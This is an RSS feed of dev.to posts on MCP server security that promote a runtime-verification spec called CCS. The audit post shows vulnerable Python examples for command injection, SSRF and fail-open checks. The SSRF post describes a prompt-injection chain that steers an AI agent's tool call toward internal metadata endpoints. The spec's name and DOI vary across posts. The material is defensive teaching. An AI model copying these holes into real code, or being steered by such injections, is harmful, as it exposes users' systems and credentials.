<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Eastern Dev</title>
    <description>The latest articles on DEV Community by Eastern Dev (@easterndev).</description>
    <link>https://dev.to/easterndev</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3911601%2Fd335ee1f-b8b8-4e2c-a679-7f6207f0161d.png</url>
      <title>DEV Community: Eastern Dev</title>
      <link>https://dev.to/easterndev</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/easterndev"/>
    <language>en</language>
    <item>
      <title>We Built a CCS-Native MCP Server — 6-Dimension Fail-Closed Verification in 10us</title>
      <dc:creator>Eastern Dev</dc:creator>
      <pubDate>Mon, 03 Aug 2026 04:46:16 +0000</pubDate>
      <link>https://dev.to/easterndev/we-built-a-ccs-native-mcp-server-6-dimension-fail-closed-verification-in-10us-544c</link>
      <guid>https://dev.to/easterndev/we-built-a-ccs-native-mcp-server-6-dimension-fail-closed-verification-in-10us-544c</guid>
      <description>&lt;h1&gt;
  
  
  We Built a CCS-Native MCP Server
&lt;/h1&gt;

&lt;p&gt;Today we launched correctover-mcp-server — an MCP server that embeds CCS 6-dimension runtime verification directly into the protocol layer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Core idea:&lt;/strong&gt; Every tool call is verified across 6 dimensions before execution. If any fails, the action is never executed (fail-closed).&lt;/p&gt;

&lt;h2&gt;
  
  
  The 6 Dimensions
&lt;/h2&gt;

&lt;p&gt;Structure, Schema, Latency (P50&amp;lt;10us), Cost, Identity, Integrity.&lt;/p&gt;

&lt;h2&gt;
  
  
  MCP 2026-07-28 Modern-Only
&lt;/h2&gt;

&lt;p&gt;No initialize handshake. No dual-era. Streamable HTTP + _meta version negotiation + resultType on every response + CacheableResult + subscriptions/listen SSE.&lt;/p&gt;

&lt;h2&gt;
  
  
  CCS Extension via server/discover
&lt;/h2&gt;

&lt;p&gt;Broadcasts io.modelcontextprotocol/ccs with failClosed=true, maxOverheadUs=25.&lt;/p&gt;

&lt;h2&gt;
  
  
  3 Built-in Tools
&lt;/h2&gt;

&lt;p&gt;ccs_verify, ccs_evidence_hash (Halo v0.2.30 compatible), ccs_status&lt;/p&gt;

&lt;h2&gt;
  
  
  Quick Start
&lt;/h2&gt;

&lt;p&gt;git clone &lt;a href="https://github.com/Correctover/correctover-mcp-server.git" rel="noopener noreferrer"&gt;https://github.com/Correctover/correctover-mcp-server.git&lt;/a&gt;&lt;br&gt;
cd correctover-mcp-server&lt;br&gt;
npm install &amp;amp;&amp;amp; npm run dev&lt;/p&gt;

&lt;p&gt;Repo: &lt;a href="https://github.com/Correctover/correctover-mcp-server" rel="noopener noreferrer"&gt;https://github.com/Correctover/correctover-mcp-server&lt;/a&gt;&lt;br&gt;
CCS DOI: 10.5281/zenodo.21271910&lt;/p&gt;

</description>
      <category>mcp</category>
      <category>ccs</category>
      <category>runtimeverification</category>
      <category>agentsecurity</category>
    </item>
    <item>
      <title>When MCP Maintainers Say "No Trust Boundary" — Why Local SSRF Is Still Your Problem</title>
      <dc:creator>Eastern Dev</dc:creator>
      <pubDate>Sun, 02 Aug 2026 16:00:01 +0000</pubDate>
      <link>https://dev.to/easterndev/when-mcp-maintainers-say-no-trust-boundary-why-local-ssrf-is-still-your-problem-377h</link>
      <guid>https://dev.to/easterndev/when-mcp-maintainers-say-no-trust-boundary-why-local-ssrf-is-still-your-problem-377h</guid>
      <description>&lt;h1&gt;
  
  
  When MCP Maintainers Say "No Trust Boundary" — Why Local SSRF Is Still Your Problem
&lt;/h1&gt;

&lt;p&gt;Last week, a security researcher reported a CVSS 7.5 SSRF vulnerability in a popular MCP server. The maintainer's response? "This runs locally. There's no trust boundary. Not applicable."&lt;/p&gt;

&lt;p&gt;The issue was closed. The vulnerability still exists.&lt;/p&gt;

&lt;p&gt;This isn't an isolated incident. It's a pattern — and it reveals a fundamental misunderstanding of how attacks work in the MCP ecosystem.&lt;/p&gt;

&lt;h2&gt;
  
  
  "Local" Doesn't Mean "Safe"
&lt;/h2&gt;

&lt;p&gt;The argument goes: if both the MCP client and server run on the same machine, there's no untrusted party, so there's no threat model for SSRF.&lt;/p&gt;

&lt;p&gt;This is wrong for three reasons:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. SSRF on localhost is real
&lt;/h3&gt;

&lt;p&gt;Your MCP server doesn't exist in isolation. It runs alongside your local database, internal APIs, cloud metadata endpoints (169.254.169.254 on AWS), and every other service listening on localhost. An SSRF vulnerability in a "local" MCP server lets an attacker hit any of these — from inside your own machine.&lt;/p&gt;

&lt;p&gt;SSRF doesn't care about "trust boundaries." It cares about network access. If your process can reach &lt;code&gt;localhost:5432&lt;/code&gt; or &lt;code&gt;http://169.254.169.254/latest/meta-data/&lt;/code&gt;, an SSRF payload can too.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. The client is the attack surface
&lt;/h3&gt;

&lt;p&gt;MCP clients load tool configurations, execute tool calls, and often process untrusted prompts. If a malicious prompt injects a crafted URL that gets passed to an MCP tool — the SSRF fires. The "trusted client" becomes an unwitting relay.&lt;/p&gt;

&lt;p&gt;Think about it: your AI assistant processes a user prompt → the LLM generates a tool call with a malicious URL → your MCP server fetches it → your local services are exposed. The attacker never needs to "break in." They just need to send a message.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Supply chain compromise is real
&lt;/h3&gt;

&lt;p&gt;MCP extensions, plugins, and configurations are distributed across a fragmented ecosystem. A compromised MCP server package or a malicious tool definition can inject SSRF payloads that execute on your "trusted local" infrastructure.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Pattern: Dismiss and Hope
&lt;/h2&gt;

&lt;p&gt;When researchers report these vulnerabilities, maintainers frequently respond with one of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;"We run locally, so no threat"&lt;/strong&gt; — See above.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"The user controls the input"&lt;/strong&gt; — Until they don't. Prompt injection exists.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"It's the user's responsibility"&lt;/strong&gt; — Then why do we validate input anywhere?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This pattern isn't unique to one project. It's a systemic issue across the MCP ecosystem. Of 28 MCP-related projects scanned by ccs-verifier, we identified 7 confirmed vulnerabilities including multiple SSRF and RCE instances. Most remain unacknowledged weeks after disclosure.&lt;/p&gt;

&lt;h2&gt;
  
  
  Runtime Verification Doesn't Care About Your Threat Model
&lt;/h2&gt;

&lt;p&gt;Here's what's missing: most MCP security discussions assume you can reason about trust at design time. You define your threat model, you identify your trust boundaries, and you're done.&lt;/p&gt;

&lt;p&gt;But runtime behavior doesn't care about your threat model. It does what it does.&lt;/p&gt;

&lt;p&gt;That's why &lt;strong&gt;runtime verification&lt;/strong&gt; matters. Instead of arguing about whether a trust boundary exists, you verify every operation as it happens:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Is this URL pointing to a metadata service?&lt;/strong&gt; → Block.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Is this path traversal trying to escape the sandbox?&lt;/strong&gt; → Block.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Is this SQL query parameterized?&lt;/strong&gt; → If not, block.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Is this exec call running untrusted code?&lt;/strong&gt; → Block.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Runtime verification is not about trust assumptions. It's about enforcement. It validates structure, schema, latency, cost, identity, and integrity — on every single call, regardless of who made it or where it's running.&lt;/p&gt;

&lt;h2&gt;
  
  
  What CCS Does Differently
&lt;/h2&gt;

&lt;p&gt;The &lt;a href="https://doi.org/10.5281/zenodo.21729995" rel="noopener noreferrer"&gt;CCS (Computational Compliance Specification)&lt;/a&gt; defines 6 dimensions of runtime verification for agent systems:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Structure&lt;/strong&gt; — Validate output format and nesting&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Schema&lt;/strong&gt; — Enforce type contracts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Latency&lt;/strong&gt; — Detect anomalous delays&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cost&lt;/strong&gt; — Cap resource consumption&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Identity&lt;/strong&gt; — Verify caller/callee authenticity&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Integrity&lt;/strong&gt; — Confirm execution wasn't tampered with&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The reference implementation, &lt;a href="https://pypi.org/project/ccs-verifier/" rel="noopener noreferrer"&gt;ccs-verifier&lt;/a&gt;, performs this verification in &lt;strong&gt;&amp;lt;10μs P50 latency&lt;/strong&gt; — fast enough for real-time MCP traffic without degrading performance.&lt;/p&gt;

&lt;p&gt;This isn't theoretical. Palo Alto Networks recently referenced the CCS specification (DOI: 10.5281/zenodo.21729995) in their security research, validating the approach at industry scale.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Bottom Line
&lt;/h2&gt;

&lt;p&gt;Your MCP server runs "locally." Your threat model says "no untrusted input." Your maintainer closed the issue.&lt;/p&gt;

&lt;p&gt;Your metadata endpoint doesn't care.&lt;/p&gt;

&lt;p&gt;Runtime verification is the difference between &lt;em&gt;hoping&lt;/em&gt; you're safe and &lt;em&gt;proving&lt;/em&gt; you're safe. The MCP ecosystem needs less threat model debates and more runtime enforcement.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This article is based on publicly available vulnerability disclosures and open-source security research. Specific project names are omitted to encourage constructive security discourse.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>mcp</category>
      <category>security</category>
      <category>ssrf</category>
      <category>devsecops</category>
    </item>
    <item>
      <title>Your Company Probably Has MCP Servers Running. Wiz Just Proved Most Are Unverified.</title>
      <dc:creator>Eastern Dev</dc:creator>
      <pubDate>Fri, 31 Jul 2026 13:05:59 +0000</pubDate>
      <link>https://dev.to/easterndev/your-company-probably-has-mcp-servers-running-wiz-just-proved-most-are-unverified-3loc</link>
      <guid>https://dev.to/easterndev/your-company-probably-has-mcp-servers-running-wiz-just-proved-most-are-unverified-3loc</guid>
      <description>&lt;p&gt;Two weeks ago, &lt;a href="https://www.wiz.io/blog/the-risk-hiding-behind-exposed-mcp-servers" rel="noopener noreferrer"&gt;Wiz Research published a bombshell&lt;/a&gt;: they scanned cloud environments and found MCP (Model Context Protocol) servers in &lt;strong&gt;80% of them&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The numbers from their research:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;1 in 6&lt;/strong&gt; cloud environments expose at least one MCP server to the internet&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;~70%&lt;/strong&gt; of exposed servers return their full tool catalog to anonymous callers&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;~42%&lt;/strong&gt; return real data when a tool is called&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;~10%&lt;/strong&gt; expose a sensitive backend, including cloud metadata credentials via SSRF&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Most of these servers are running pre-authentication MCP. In production. In Fortune 500 companies.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Verification Badge Problem
&lt;/h2&gt;

&lt;p&gt;If you think we only use verified MCP servers from the official registry, a &lt;a href="https://gbhackers.com/thousands-of-mcp-servers-found-vulnerable/" rel="noopener noreferrer"&gt;separate study published in GB Hackers&lt;/a&gt; should change your mind.&lt;/p&gt;

&lt;p&gt;Researchers analyzed &lt;strong&gt;9,695 MCP servers&lt;/strong&gt; across GitHub, Glama, Lobehub, and PulseMCP:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Count&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Arbitrary file access&lt;/td&gt;
&lt;td&gt;880&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command injection flaws&lt;/td&gt;
&lt;td&gt;476&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSRF vulnerabilities&lt;/td&gt;
&lt;td&gt;422&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SQL injection issues&lt;/td&gt;
&lt;td&gt;211&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No authentication&lt;/td&gt;
&lt;td&gt;2,054&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Total: 4,982 distinct security issues across 5,832 servers.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The researchers noted that popularity, repository activity, and verification badges do not reliably reflect security posture.&lt;/p&gt;

&lt;p&gt;A popular MCP server with 200K+ downloads still handed attackers full account takeover. &lt;a href="https://pluto.security/blog/two-critical-vulnerabilities-gitlab-mcp-account-takeover/" rel="noopener noreferrer"&gt;Pluto Security found CVSS 9.8 and 9.6 vulnerabilities in gitlab-mcp&lt;/a&gt;, the most popular community GitLab MCP server. No credentials to guess. No user interaction needed.&lt;/p&gt;

&lt;h2&gt;
  
  
  The New MCP Spec Makes It Your Problem
&lt;/h2&gt;

&lt;p&gt;On July 28, 2026, the MCP specification moved to a stateless architecture under the Linux Foundation Agentic AI Foundation. The biggest change since the protocol was created.&lt;/p&gt;

&lt;p&gt;Session hijacking is gone. Legacy auth is gone (OAuth 2.1 is mandatory). Unsolicited server prompts are gone.&lt;/p&gt;

&lt;p&gt;But the trade-off: &lt;strong&gt;security responsibility shifts to the developers and operators implementing MCP servers.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The spec tells you to verify state object integrity but does not tell you how. It tells you to validate _meta fields but does not provide the validation. This is exactly where runtime verification becomes non-optional.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Runtime Verification Checks
&lt;/h2&gt;

&lt;p&gt;Static analysis scans your code before deployment. Runtime verification watches what actually happens when your MCP server processes real requests in production.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Configuration drift&lt;/strong&gt;: Your MCP server was secure at deployment. Three config changes later, a tool can read /proc/self/environ. Static analysis will not catch that.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Supply chain updates&lt;/strong&gt;: A dependency update changes a default. Now a header redirects credential-bearing requests to any host. You would not know until someone exploits it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Composability gaps&lt;/strong&gt;: Each tool is individually safe. But chained together, they create a path from read file to exfiltrate SSH key. Only runtime verification sees the full trajectory.&lt;/p&gt;

&lt;p&gt;A proper runtime verification framework validates across 6 dimensions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Structure&lt;/strong&gt;: Does the tool request match its declared schema?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Schema&lt;/strong&gt;: Are field types, ranges, and constraints respected?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Latency&lt;/strong&gt;: Is response time consistent or is something intercepting?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cost&lt;/strong&gt;: Is the model called more times than expected?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Identity&lt;/strong&gt;: Is the caller who they claim to be?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Integrity&lt;/strong&gt;: Is the output what the tool actually produced?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The &lt;a href="https://github.com/Correctover/standards" rel="noopener noreferrer"&gt;Conformance Check Specification (CCS)&lt;/a&gt; (DOI: &lt;a href="https://doi.org/10.5281/zenodo.21603250" rel="noopener noreferrer"&gt;10.5281/zenodo.21603250&lt;/a&gt;) defines this 6-dimensional verification model. Palo Alto Networks AI Research Lab referenced it in their contribution to Microsoft Semantic Kernel (&lt;a href="https://github.com/microsoft/semantic-kernel/commit/a2e757d" rel="noopener noreferrer"&gt;PR #14199&lt;/a&gt;). Overhead: P50 under 10 microseconds.&lt;/p&gt;

&lt;h2&gt;
  
  
  What You Can Do Today
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Inventory your MCP exposure.&lt;/strong&gt; Check if MCP endpoints are reachable without authentication from your network.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Check protocol version.&lt;/strong&gt; If your servers still negotiate 2024-11-05, they are pre-authentication. Update immediately.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Verify, do not trust.&lt;/strong&gt; Badges and popularity metrics are not security controls. Run an actual security scan.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Add runtime verification.&lt;/strong&gt; For production MCP servers, validate every tool call across all 6 dimensions. Log everything. Alert on anomalies.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Uncomfortable Truth
&lt;/h2&gt;

&lt;p&gt;MCP is in your infrastructure. The protocol just had its biggest security overhaul, which means the security bar moved from the protocol handles it to your implementation handles it.&lt;/p&gt;

&lt;p&gt;The question is not whether you need runtime verification. It is whether you will do it before or after your MCP server ends up in the next Wiz research report.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Sources:&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Wiz Research (July 28, 2026)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;GB Hackers (July 7, 2026)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Pluto Security (July 6, 2026)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;CCS Specification DOI: 10.5281/zenodo.21603250&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>mcp</category>
      <category>security</category>
      <category>ai</category>
      <category>cloudsecurity</category>
    </item>
    <item>
      <title>Your Enterprise Deployed MCP Servers — Has Anyone Audited Them?</title>
      <dc:creator>Eastern Dev</dc:creator>
      <pubDate>Fri, 31 Jul 2026 11:58:59 +0000</pubDate>
      <link>https://dev.to/easterndev/your-enterprise-deployed-mcp-servers-has-anyone-audited-them-4l5j</link>
      <guid>https://dev.to/easterndev/your-enterprise-deployed-mcp-servers-has-anyone-audited-them-4l5j</guid>
      <description>&lt;h1&gt;
  
  
  Your Enterprise Deployed MCP Servers — Has Anyone Audited Them?
&lt;/h1&gt;

&lt;p&gt;The Model Context Protocol (MCP) is becoming the standard way AI agents interact with external tools and data sources. More enterprises are deploying MCP servers in production every week.&lt;/p&gt;

&lt;p&gt;But here is what most teams have not done: &lt;strong&gt;security audit their MCP server implementations before going live.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;After systematically scanning 24+ MCP server implementations and analyzing hundreds of vulnerability patterns, here is what I have learned about the real attack surface and how to check yours.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why MCP Servers Are a Unique Attack Surface
&lt;/h2&gt;

&lt;p&gt;Traditional web APIs have well-understood security patterns. MCP servers are different:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. They execute arbitrary operations, not just return data&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;An MCP server does not just answer questions — it runs code, queries databases, sends emails, manages infrastructure. A compromised MCP server is not a data leak; it is an action execution engine.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. The protocol assumes trust between client and server&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;MCP architecture assumes the agent (client) and the tool (server) operate in a trusted relationship. There is no built-in mechanism for the server to validate whether a tool call is legitimate, or for a third party to verify that calls are compliant.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Most implementations skip input validation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In our analysis, the most common vulnerability pattern was: user-controlled parameters passed directly to shell execution functions (exec(), os.system(), subprocess.run(shell=True)) without sanitization.&lt;/p&gt;

&lt;p&gt;This is not theoretical. It is the number 1 pattern we find in production MCP servers.&lt;/p&gt;

&lt;h2&gt;
  
  
  The 6 Things You Need to Check
&lt;/h2&gt;

&lt;p&gt;Based on our audit methodology (formalized as CCS — Correctover Conformance Standard), here is what a real MCP security audit covers:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Command Injection Surface
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;What to look for:&lt;/strong&gt; Any path where user-controlled input reaches a shell execution function.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# VULNERABLE — direct shell execution
&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;curl &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user_url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# SAFE — parameterized or validated
&lt;/span&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;curl&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;validated_url&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it matters:&lt;/strong&gt; Command injection in an MCP server gives an attacker the ability to execute arbitrary system commands with the server privileges.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. SSRF (Server-Side Request Forgery)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;What to look for:&lt;/strong&gt; MCP tools that accept URLs or hostnames as parameters without validation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# VULNERABLE — no URL validation
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fetch_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;

&lt;span class="c1"&gt;# SAFE — allowlist validation
&lt;/span&gt;&lt;span class="n"&gt;ALLOWED_DOMAINS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;api.example.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;data.internal.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fetch_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;urlparse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ALLOWED_DOMAINS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Domain not allowed: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it matters:&lt;/strong&gt; An attacker can make your MCP server fetch internal metadata endpoints (169.254.169.254), scan internal networks, or access services behind your firewall.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Authentication and Authorization
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;What to look for:&lt;/strong&gt; MCP servers that expose tools without requiring authentication, or that do not differentiate between tool access levels.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why it matters:&lt;/strong&gt; An unauthenticated MCP server is an open door to your infrastructure. Even with authentication, flat permissions (all users can access all tools) violate least privilege.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Credential Handling
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;What to look for:&lt;/strong&gt; API keys, tokens, or secrets stored in environment variables that are accessible to MCP tool execution contexts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why it matters:&lt;/strong&gt; If an MCP server has command injection (see number 1), the attacker inherits access to all environment variables — including credentials for databases, cloud providers, and third-party APIs.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Runtime Compliance Verification
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;What to look for:&lt;/strong&gt; Do you have a mechanism to verify that every tool call your MCP server executes conforms to your security policy — before it runs?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why it matters:&lt;/strong&gt; Post-hoc logging tells you what happened. Runtime verification prevents bad things from happening. The difference is: logs equal forensic analysis; verification equals prevention.&lt;/p&gt;

&lt;h3&gt;
  
  
  6. Fail-Closed Guarantees
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;What to look for:&lt;/strong&gt; What happens when your security layer crashes? Does the system default to allowing or blocking the tool call?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# FAIL-OPEN (vulnerable) — governance crash = tool executes
&lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nf"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;deny&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;pass&lt;/span&gt;  &lt;span class="c1"&gt;# Bug: exception swallowed, tool proceeds
&lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

